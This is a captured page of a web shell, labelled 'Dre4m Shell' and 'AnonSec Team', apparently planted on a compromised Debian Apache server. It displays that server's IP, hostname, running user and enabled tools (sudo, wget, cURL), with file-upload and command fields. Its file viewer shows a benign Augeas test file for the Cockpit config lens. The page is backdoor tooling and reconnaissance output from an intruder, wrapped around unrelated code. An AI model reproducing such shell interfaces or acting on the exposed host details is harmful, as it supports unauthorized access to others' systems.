Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.99
Web Server : Apache/2.4.65 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/task/2/root/proc/self/root/usr/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/task/2/root/proc/self/root/usr/share/augeas/lenses/dist/tests/test_cockpit.aug
module Test_cockpit =
(************************************************************************
 * Basic Parse
 *************************************************************************)

   let conf = "
[WebService]
Origins = https://somedomain1.com https://somedomain2.com:9090

MaxStartups= 10:30:60
[Log]
Fatal =criticals warnings

[Session]

IdleTimeout=15
"

   test Cockpit.lns get conf =
  {  }
  { "WebService"
    { "Origins" = "https://somedomain1.com" }
    { "Origins" = "https://somedomain2.com:9090" }
    {  }
    { "MaxStartups" = "10:30:60" }
  }
  { "Log"
    { "Fatal" = "criticals" }
    { "Fatal" = "warnings" }
    {  }
  }
  { "Session"
    {  }
    { "IdleTimeout" = "15" }
  }

(************************************************************************
 * Insert simple
 *************************************************************************)
    test Cockpit.lns put conf after
       set "Log/EXAMPLE" "text"
    = "
[WebService]
Origins = https://somedomain1.com https://somedomain2.com:9090

MaxStartups= 10:30:60
[Log]
Fatal =criticals warnings

EXAMPLE=text
[Session]

IdleTimeout=15
"


(************************************************************************
 * Insert Origin makes sense
 *************************************************************************)

    test Cockpit.lns put conf after
       insa "Origins" "WebService/Origins[last()]";
       set "WebService/Origins[last()]" "https://thirdhost.com:8080"
    = "
[WebService]
Origins = https://somedomain1.com https://somedomain2.com:9090 https://thirdhost.com:8080

MaxStartups= 10:30:60
[Log]
Fatal =criticals warnings

[Session]

IdleTimeout=15
"

(************************************************************************
 * Insert Fatal makes sense
 *************************************************************************)
    test Cockpit.lns put conf after
       insa "Fatal" "Log/Fatal[last()]";
       set "Log/Fatal[last()]" "info"
    = "
[WebService]
Origins = https://somedomain1.com https://somedomain2.com:9090

MaxStartups= 10:30:60
[Log]
Fatal =criticals warnings info

[Session]

IdleTimeout=15
"

Anon7 - 2022
AnonSec Team